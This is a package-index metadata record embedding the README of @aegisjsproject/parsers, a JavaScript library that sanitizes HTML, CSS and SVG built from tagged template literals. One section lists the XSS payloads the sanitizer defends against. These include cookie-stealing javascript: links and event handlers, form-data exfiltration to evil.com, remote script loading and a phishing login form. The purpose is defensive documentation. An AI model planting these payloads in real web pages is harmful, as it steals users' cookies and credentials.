{"id":21754640,"url":"https://github.com/aegisjsproject/parsers","last_synced_at":"2025-04-13T09:08:30.940Z","repository":{"id":230303834,"uuid":"778648086","full_name":"AegisJSProject/parsers","owner":"AegisJSProject","description":"A collection of secure \u0026 minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON","archived":false,"fork":false,"pushed_at":"2025-04-10T16:59:43.000Z","size":540,"stargazers_count":8,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-10T18:12:32.106Z","etag":null,"topics":["aegis","sanitizer","tagged-template-literals"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/@aegisjsproject/parsers","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AegisJSProject.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":".github/CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":"shgysk8zer0","liberapay":"shgysk8zer0"}},"created_at":"2024-03-28T05:52:09.000Z","updated_at":"2025-04-10T16:59:46.000Z","dependencies_parsed_at":"2024-11-06T20:28:47.631Z","dependency_job_id":"27b041b7-6d13-4d9e-a169-cb3ad113f187","html_url":"https://github.com/AegisJSProject/parsers","commit_stats":null,"previous_names":["aegisjsproject/parsers"],"tags_count":13,"template":false,"template_full_name":"shgysk8zer0/npm-template","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AegisJSProject%2Fparsers","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AegisJSProject%2Fparsers/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AegisJSProject%2Fparsers/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AegisJSProject%2Fparsers/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AegisJSProject","download_url":"https://codeload.github.com/AegisJSProject/parsers/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248271894,"owners_count":21075800,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aegis","sanitizer","tagged-template-literals"],"created_at":"2024-11-26T09:14:33.379Z","updated_at":"2025-04-13T09:08:30.912Z","avatar_url":"https://github.com/AegisJSProject.png","language":"JavaScript","funding_links":["https://github.com/sponsors/shgysk8zer0","https://liberapay.com/shgysk8zer0","https://liberapay.com/shgysk8zer0/donate"],"categories":[],"sub_categories":[],"readme":"# `@aegisjsproject/parsers`\n\nA collection of secure \u0026 minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON\n\n[![CodeQL](https://github.com/AegisJSProject/parsers/actions/workflows/codeql-analysis.yml/badge.svg)](https://github.com/AegisJSProject/parsers/actions/workflows/codeql-analysis.yml)\n![Node CI](https://github.com/AegisJSProject/parsers/workflows/Node%20CI/badge.svg)\n![Lint Code Base](https://github.com/AegisJSProject/parsers/workflows/Lint%20Code%20Base/badge.svg)\n\n[![GitHub license](https://img.shields.io/github/license/AegisJSProject/parsers.svg)](https://github.com/AegisJSProject/parsers/blob/master/LICENSE)\n[![GitHub last commit](https://img.shields.io/github/last-commit/AegisJSProject/parsers.svg)](https://github.com/AegisJSProject/parsers/commits/master)\n[![GitHub release](https://img.shields.io/github/release/AegisJSProject/parsers?logo=github)](https://github.com/AegisJSProject/parsers/releases)\n[![GitHub Sponsors](https://img.shields.io/github/sponsors/shgysk8zer0?logo=github)](https://github.com/sponsors/shgysk8zer0)\n\n[![npm](https://img.shields.io/npm/v/@aegisjsproject/parsers)](https://www.npmjs.com/package/@aegisjsproject/parsers)\n![node-current](https://img.shields.io/node/v/@aegisjsproject/parsers)\n![npm bundle size](https://img.shields.io/bundlephobia/minzip/%40aegisjsproject%2Fparsers)\n[![npm](https://img.shields.io/npm/dw/@aegisjsproject/parsers?logo=npm)](https://www.npmjs.com/package/@aegisjsproject/parsers)\n\n[![GitHub followers](https://img.shields.io/github/followers/AegisJSProject.svg?style=social)](https://github.com/AegisJSProject)\n![GitHub forks](https://img.shields.io/github/forks/AegisJSProject/parsers.svg?style=social)\n![GitHub stars](https://img.shields.io/github/stars/AegisJSProject/parsers.svg?style=social)\n[![Twitter Follow](https://img.shields.io/twitter/follow/shgysk8zer0.svg?style=social)](https://twitter.com/shgysk8zer0)\n\n[![Donate using Liberapay](https://img.shields.io/liberapay/receives/shgysk8zer0.svg?logo=liberapay)](https://liberapay.com/shgysk8zer0/donate \"Donate using Liberapay\")\n- - -\n\n- [Code of Conduct](./.github/CODE_OF_CONDUCT.md)\n- [Contributing](./.github/CONTRIBUTING.md)\n\u003c!-- - [Security Policy](./.github/SECURITY.md) --\u003e\n\n## Benefits\n\n- **Lightweight**: (6.4Kb gzipped): Keeps your bundle size small and load times down\n- [**Convenient**](#a-quick-example): Easily compose elements, styles, \u0026 icons using tagged template literals\n- [**XSS Protection**](#examples-of-attacks-protected-against): Built-in sanitization mitigates XSS vulnerabilities\n- [**Reusable Components**](#reusable-components-and-styles): Create secure \u0026 reusable UI components (or modules) with ease\n- [**No Framework Required**](#no-framework-required): Works even without a client-side framework\n- [**Customizable**](#advanced-usage-with-custom-sanitizer-config): Supports your own custom lists of tags and attributes\n- [**Compatible with Strict CSP \u0026 Trusted Types**](#content-security-policy-and-trustedtypespolicy): Does not conflict with other security best practices\n\n## What is This?\nThis is a lightweight (as little as 6.4Kb, minified and gzipped) library for parsing\nvarious kinds of content using [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates).\n\nIt makes creating UI components, icons, and stylesheets easy, more secure, and\nreusable. No framework required, though it should be compatible with any\nclient-side framework (no SSR - unless a full DOM implementation is provided).\n\nIt also sanitizes inputs to protect against [Cross-Site Scripting](https://owasp.org/www-community/attacks/xss/)\n(XSS) attacks, much like DOMPuriy. It provides a safer alternative to `innerHTML` and\nusing `\u003cstyle\u003e`s and protects against XSS attacks by removing dangerous elements\nand attributes, and even filtering out dangerous links such as `javascript:` URIs.\n\n\u003e [!IMPORTANT]\n\u003e While this library, the Sanitizer polyfill, and eventually the Sanitizer API\n\u003e built into browsers do aim to reduce the risks involved in creating things on\n\u003e the web, it should not be assumed that it makes your site immune.\n\n## A Quick Example\n\n```js\nimport { html, css } from '@aegisjsproject/parsers';\n\ndocument.querySelector('.container').append(html`\n  \u003ch1\u003eHello, World!\u003c/h1\u003e\n`);\n\ndocument.adoptedStyleSheets = [css`\n  :root {\n    box-sizing: border-box;\n  }\n`];\n```\n\n## Web Component Example\n\n```js\nimport { template } from './template.js';\nimport { base, dark, light } from './theme.js';\nimport { btnStyles, cardStyles } from './styles.js';\n\nclass MyComponent extends HTMLElement {\n  #shadow;\n\n  constructor() {\n    super();\n\n    this.#shadow = this.attachShadow({ mode: 'closed' });\n    this.#shadow.append(template);\n    this.#shadow.adoptedStyleSheets = [base, dark, light btnStyles, cardStyes];\n  }\n}\n\ncustomElements.define('my-component', MyComponent);\n```\n\n\u003e [!WARNING]\n\u003e The Sanitizer API is still being developed, and could change. Until the API\n\u003e is stable, this project will remain pre-v1.0.0\n\n### Examples of Attacks Protected Against\n\n```html\n\u003c!-- Steals cookies on click --\u003e\n\u003ca href=\"javascript:fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))\"\u003eSteal Cookie\u003c/a\u003e\n\n\u003c!-- Another way of stealing cookies --\u003e\n\u003cbutton onclick=\"fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))\"\u003eSteal Cookie\u003c/button\u003e\n\n\u003c!-- Steals data from any submitted form --\u003e\n\u003cscript\u003e\n  document.forms.forEach(form =\u003e {\n    form.addEventListener('submit', event =\u003e {\n      navigator.sendBeacon('https://evil.com/api', new FormData(event.target));\n    }, { passive: true });\n  });\n\u003c/script\u003e\n\n\u003c!-- Can execute arbitrary code --\u003e\n\u003cscript src=\"https://evil.com/attack.js\"\u003e\u003c/script\u003e\n\n\u003c!-- Trick users to giving their credentials to an attacker --\u003e\n\u003cform action=\"https://evil.com/\"\u003e\n  \u003cinput type=\"email\" placeholder=\"user@example.com\" autocomplete=\"email\" required=\"\" /\u003e\n  \u003cinput type=\"password\" placeholder=\"*******\" autocomplete=\"current-password\" required=\"\" /\u003e\n  \u003cbutton type=\"submit\"\u003eLogin\u003c/button\u003e\n\u003c/form\u003e\n\n\u003c!-- Change where a form is submitted --\u003e\n\u003cbutton type=\"submit\" formaction=\"https://evil.com\" form=\"login\"\u003eSubmit\u003c/button\u003e\n\n\u003c!-- Changes the base for interpreting all URLs, including scripts and images --\u003e\n\u003cbase href=\"https://evil.com/\" /\u003e\n\u003cscript src=\"main.js\"\u003e\u003c/script\u003e \u003c!-- Now points to \"https://evil.com/main.js\" --\u003e\n\n\u003c!-- Executes an attack when an image loads (or errors when loading) --\u003e\n\u003cimg src=\"https://cdn.images.com/cat.jpg\" onload=\"fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))\" /\u003e\n```\n\n## No Framework Required\nEverything you need is included in `bundle.min.js`. That includes the polyfill\nfor the Sanitizer API and exports everything you need. You can use this in nearly\nany website, directly from your console (using `import()`), in CodePen, etc.\n\nCompatibility with any client-side framework you are already using depends on\nhow that framework deals with `DocumentFragment`s and `Element`s as DOM objects.\nAny that can render a native DOM Node should work without any struggle. For any\nthat do not, perhaps some simple wrapper could be used.\n\n## Overview of the Parsers\n\n### `html` Tagged Template\nThis uses the Sanitizer API with a sanitizer config allowing HTML \u0026 SVG by default.\nIt returns a [`DocumentFragment`](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment),\nallowing for parsing of multiple elements without requiring a container element\nto wrap everything.\n\nIt will strip out dangerous elements such as `\u003cscript\u003e`, attributes such as `onclick`,\nand will also remove any `javascript:` or `file:` URI attributes for certain link-type\nattributes such as `href`.\n\n### `css` Tagged Template\nThis uses [Constructable StyleSheets](https://web.dev/articles/constructable-stylesheets)\nand returns a [`CSSStyleSheet`](https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleSheet),\nwhich may be used via `documentOrShadow.adoptedStyleSheets`.\n\n\u003e [!WARNING]\n\u003e Constructable StyleSheets are not fully compatible with [CSS Custom Properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties).\n\u003e You may use any that are set elsewhere, but you cannot set new ones.\n\n```css\n/* Works */\n\n.foo {\n  color: var(--my-color, red);\n}\n\n/* Does not work */\n\n.foo {\n  --my-color: red;\n}\n```\n\n### `svg` Tagged Template\nThis uses `Document.parseHTML()` with a sanitizer config allowing SVG elements\nand attributes, using the correct namespaces. It returns an [`SVGSVGElement`](https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement).\n\n### `math` Tagged Template\nThis uses `Document.parseHTML()` with a sanitizer config allowing MathML elements\nand attributes, using the correct namespaces. It returns an [`MathMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/MathMLElement).\n\n### `xml` Tagged Template\nThis is just a simple wrapper function using `new DOMParser().parseFromString(str, { type: 'application/xml' })`.\nIt does not provide any additional security, only a more convenient way of parsing XML.\n\n### `json` Tagged Template\nThis is also just a convenient wrapper that provides no security benefits. It\njust calls `JSON.parse()`.\n\n## Reusable Components and Styles\nWrite once and use anywhere! You can event put them in a module script and `export`\ncomponents, styles, and icons.\n\n```js\nimport { html, css, svg } from '@aegisjsproject/parsers';\n\nexport const btnStyles = css`.btn {\n  background-color: #8cb4ff;\n  color: #fafafa;\n  border-radius: 6px;\n}`;\n\nexport const closeIcon = svg`\u003csvg width=\"12\" height=\"16\" viewBox=\"0 0 12 16\" fill=\"currentColor\"\u003e\n  \u003cpath fill-rule=\"evenodd\" d=\"M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z\"/\u003e\n\u003c/svg\u003e`;\n\nexport const someBtn = html`\u003cbutton class=\"btn\" popovertarget=\"popover\"\u003eClick Me!\u003c/button\u003e`;\n\nexport const popover = html`\u003cdiv id=\"popover\" popover=\"auto\"\u003e\n  \u003cbutton type=\"button\" popovertarget=\"popover\" popovertargetaction=\"hide\"\u003e${closeIcon}\u003c/button\u003e\n  \u003cp\u003eBacon ipsum dolor amet pastrami sirloin kielbasa tenderloin.\u003c/p\u003e\n\u003c/div\u003e`;\n```\n\n\u003e [!TIP]\n\u003e Store your color palette in perhaps a `palette.js` module to make it easier to\n\u003e keep designs consistent.\n\n### Importing from Modules\n\n```js\nimport { showBtn, popover } from './template.js';\nimport { styles } from './style.js';\nimport { btnStyles, darkTheme, lightTheme } from '../shared-styles.js';\n\ncustomElements.define('my-component', class MyComponent extends HTMLElement {\n  constructor() {\n    super();\n    this.attachShadow({ mode: 'open' });\n    this.shadowRoot.append(someBtn.cloneNode(true), popover.cloneNode(true));\n    this.shadowRoot.adoptedStyleSheets = [styles, btnStyles, darkTheme, lightTheme];\n  }\n});\n```\n### Composing Components via Functions\nAnother great use would be creating a function that returns a component that uses\ndata from its arguments:\n\n```js\nexport const createComment = ({ username, userId, date, body }) =\u003e html`\n  \u003cdiv class=\"comment\"\u003e\n    \u003cdiv class=\"comment-header\"\u003e\n      Posted by \u003ca href=\"/users/${userId}\"\u003e${username}\u003c/a\u003e on \u003ctime datetime=\"${date.toISOString()}\"\u003e${date.toLocalseString()}\u003c/time\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"comment-body\"\u003e${body}\u003c/div\u003e\n  \u003c/div\u003e\n`;\n```\n\n\u003e [!WARNING]\n\u003e Although the Sanitizer API does a lot to protect against XSS attacks, it would\n\u003e still be a good idea to create a more restricted parser that only allows for\n\u003e very limited tags and attributes.\n\n\u003e [!TIP]\n\u003e Reusing Parsed HTML, SVG, \u0026 MathML\n\nBe aware that the usual rules of appending nodes applies to the `DocumentFragment`s\nand `Element`s that are returned. This means that, if you append them in multiple\nplaces, they will only be moved instead of copied. If you need to append more than\nonce, you will have to use [`node.cloneNode(true)`](https://developer.mozilla.org/en-US/docs/Web/API/Node/cloneNode).\n\nThis does not apply to `CSSStyleSheets` since [`adoptedStyleSheets`](https://developer.mozilla.org/en-US/docs/Web/API/Document/adoptedStyleSheets)\nallows sharing, so cloning is not necessary.\n\n## About [The Sanitizer API](https://github.com/WICG/sanitizer-api/)\nThis project relies on [`@aegisjsproject/sanitizer`](https://github.com/AegisJSProject/sanitizer/)\nto provide `Element.prototype.setHTML()` \u0026 `Document.parseHTML()`. While it is\nincluded as a dependency, the polyfill is not loaded by default, except for in `bundle.js`\nand `bundle.min.js`. This is to avoid bloating bundles with multiple copies, as\nwell as to allow loading any different polyfill should you choose.\n\nWhen not using the bundle, it is best to import the polyfill as a separate `\u003cscript\u003e`:\n\n\u003e [!IMPORTANT]\n\u003e Be sure to load the polyfill *before* any script using the parsers.\n\n```html\n\u003c!-- Note: The version and `integrity` are not necessarily current --\u003e\n\u003cscript referrerpolicy=\"no-referrer\" crossorigin=\"anonymous\" integrity=\"sha384-OUI/F1tbQMDz0u/Yf2w+15JU5U5sQzji2Do4pFQIBI7Zc5B5j0LnOoOjA4HpBCwp\" src=\"https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js\" fetchpriority=\"high\" defer=\"\"\u003e\u003c/script\u003e\n```\n\nHowever, you may also include it in your modules should you choose:\n\n```js\n// ES Module with importmap\nimport '@aegisjsproject/sanitizer/polyfill.min.js';\n\n// ES Module with full URL\nimport 'https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js';\n\n// CommonJS\nrequire('@aegisjsproject/sanitizer/polyfill');\n```\n\n## Use as ES Module with [importmap](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap)\n\n\u003e [!IMPORTANT]\n\u003e Please be aware that `\u003cscript type=\"importmap\"\u003e` falls under `script-src` in\n\u003e [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).\n\u003e As such, if you use CSP and do not allow `'unsafe-inline'`, you will need to add\n\u003e a `nonce=\"examplerandomstring\"` on it and add `'nonce-examplerandomstring'` to `script-src`.\n\u003e Or, you could use a hash/`integrity`/SRI, but be aware that it will be invalid if\n\u003e a single character changes.\n\n```html\n\u003cscript type=\"importmap\"\u003e\n  {\n    \"imports\": {\n      \"@aegisjsproject/parsers\": \"https://unpkg.com/@aegisjsproject/parsers[@:version]\",\n      \"@aegisjsproject/parsers/\": \"https://unpkg.com/@aegisjsproject[@:version]/parsers/\",\n      \"@aegisjsproject/sanitizer\": \"https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js\",\n      \"@aegisjsproject/sanitizer/\": \"https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/\"\n    }\n  }\n\u003c/script\u003e\n```\n\n## Importing Only What is Necessary (ES Modules Only)\n```js\nimport { html } from '@aegisjsproject/html.js';\nimport { css } from '@aegisjsproject/css.js';\nimport { svg } from '@aegisjsproject/svg.js';\n```\n\n## Advanced Usage with Custom Sanitizer Config\n```js\nimport { createHTMLParser } from '@aegisjsproject/parsers/html.js';\nimport { createCSSParser } from '@aegisjsproject/parsers/css.js';\n\nconst html = createHTMLParser({\n  elements: ['span', 'div', 'p', 'a', 'pre', 'code', 'blockquote', 'b', 'i'],\n  attributes: ['class', 'id', 'href'],\n  comments: false,\n});\n\nconst css = createCSSParser({\n  media: '(prefers-color-scheme: dark)',\n  disabled: false,\n  baseURL: document.baseURI,\n});\n```\n\n\u003e [!IMPORTANT]\n\u003e  Via `npm i` and CommonJS/`require()`, only the main module is transpiled to\n\u003e CommonJS. You cannot `require()` specific scripts using CommonJS.\n\n```js\n// Load the polyfill\nrequire('@aegisjsproject/sanitizer/polyfill');\nconst { html } = require('@aegisjsproject/parsers');\n```\n\n## Content-Security-Policy and [TrustedTypesPolicy](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)\nIf you are importing the module or bundle from `unpkg.com`, you will need to allow\nthat in your `script-src`. If you installed it locally, you should not need any\nnew sources allowed and, assuming no external scripts are used, can simply use `'self'`.\n\nYou will, however, require either a hash or nonce if you use an importmap, since\nthat is governed by `script-src` and would be considered `'unsafe-inline'`, and \nit cannot be external - it **MUST** be an inline-script.\n\nIf you use Trusted Types, however, you will at minimum need to allow `aegis-sanitizer#html`,\nas this policy is used internally for parsing the raw strings. In the future,\na polyfill for the Trusted Types API will also be provided, and that will require\n`empty#html` and `empty#script` for `trustedTypes.emptyHTML` and `trustedTypes.emptyScript`\nrespectively.\n\nA full CSP might look like this:\n\n```\ndefault-src 'none';\nscript-src 'self' https://unpkg.com/@aegisjsproject/ 'sha384-qOnpoDjAcZtXfanBdq59LK71K0lxdJmnLrSCdgYcsxL4PrFIFIpw79PfBnEwlm+M';\nstyle-src 'self';\nfont-src 'self';\nimg-src 'self';\nconnect-src 'self';\ntrusted-types empty#html empty#script aegis-sanitizer#html;\nrequire-trusted-types-for 'script';\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faegisjsproject%2Fparsers","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faegisjsproject%2Fparsers","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faegisjsproject%2Fparsers/lists"}